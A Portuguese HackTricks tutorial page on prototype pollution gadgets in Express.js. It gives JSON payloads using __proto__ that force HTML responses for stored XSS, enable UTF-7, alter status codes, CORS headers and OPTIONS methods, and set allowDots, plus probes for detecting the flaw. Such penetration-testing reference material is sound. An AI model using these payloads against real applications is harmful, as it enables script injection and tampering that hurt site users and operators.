Express Prototype Pollution Gadgets

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

WhiteIntel é um mecanismo de busca alimentado pela dark web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares ladrões.

O principal objetivo do WhiteIntel é combater a apropriação de contas e ataques de ransomware resultantes de malwares que roubam informações.

Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:


Servir respostas XSS

Para mais detalhes dê uma olhada na pesquisa original

Alterar o tipo de conteúdo JSON para HTML

Em um aplicativo Express usando uma resposta de tipo de conteúdo JSON e refletindo um JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

Nesses casos, XSS normalmente não é possível com um tipo de conteúdo JSON. No entanto, com a poluição de protótipos, podemos confundir o Express para fornecer uma resposta HTML. Essa vulnerabilidade depende da aplicação usar res.send(obj) e do uso do analisador de corpo com o tipo de conteúdo application/json.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Ao poluir as propriedades body e _body, é possível fazer com que o Express sirva o tipo de conteúdo HTML e reflita a propriedade _body, resultando em XSS armazenado.

Renderizar UTF7

É possível fazer o express renderizar conteúdo UTF-7 com:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Técnicas de Escaneamento Seguro

Espaços JSON

O seguinte PP fará com que os atributos dentro de um JSON tenham um espaço extra que não quebrará a funcionalidade:

{"__proto__":{"json spaces": " "}}

Em seguida, um JSON refletido parecerá:

{"foo":  "bar"} -- Note the extra space

Cabeçalhos Expostos

O seguinte gadget PP fará com que o servidor envie de volta o cabeçalho HTTP: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

É necessário ter o módulo CORS instalado

Método OPTIONS

Com a carga útil a seguir, é possível ocultar um método de uma resposta OPTIONS:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Estado

É possível alterar o código de status retornado usando a seguinte carga útil PP:

{"__proto__":{"status":510}}

Erro

Quando você atribui a um protótipo um valor primitivo como uma string, isso produz uma operação no-op, pois o protótipo precisa ser um objeto. Se você tentar atribuir um objeto protótipo ao Object.prototype em si, isso irá lançar uma exceção. Podemos usar esses dois comportamentos para detectar se a poluição de protótipo foi bem-sucedida:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Valor Refletido

Quando uma aplicação inclui um objeto em sua resposta, criando um atributo com um nome incomum ao lado de __proto__ pode ser esclarecedor. Especificamente, se apenas o atributo incomum for retornado na resposta, isso poderia indicar a vulnerabilidade da aplicação:

{"unusualName":"value","__proto__":"test"}

Além disso, em cenários onde uma biblioteca como o Lodash é empregada, definir uma propriedade tanto via poluição de protótipo (PP) quanto diretamente dentro do objeto oferece outra abordagem de diagnóstico. Se tal propriedade for omitida da resposta, sugere que o Lodash está verificando a existência da propriedade no objeto alvo antes de mesclar:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Diversos

Permitir Pontos

Existe uma opção no Express que permite criar objetos a partir de parâmetros de string de consulta. Você definitivamente poderia usá-lo em uma cadeia de bugs para explorar uma vulnerabilidade de poluição de protótipo.

{"__proto__":{"allowDots":true}}

?foo.bar=baz cria um objeto no Node.

Referências

WhiteIntel é um mecanismo de busca alimentado pela dark web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares de roubo.

O principal objetivo da WhiteIntel é combater tomadas de contas e ataques de ransomware resultantes de malwares de roubo de informações.

Você pode acessar o site deles e experimentar o mecanismo gratuitamente em:

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Last updated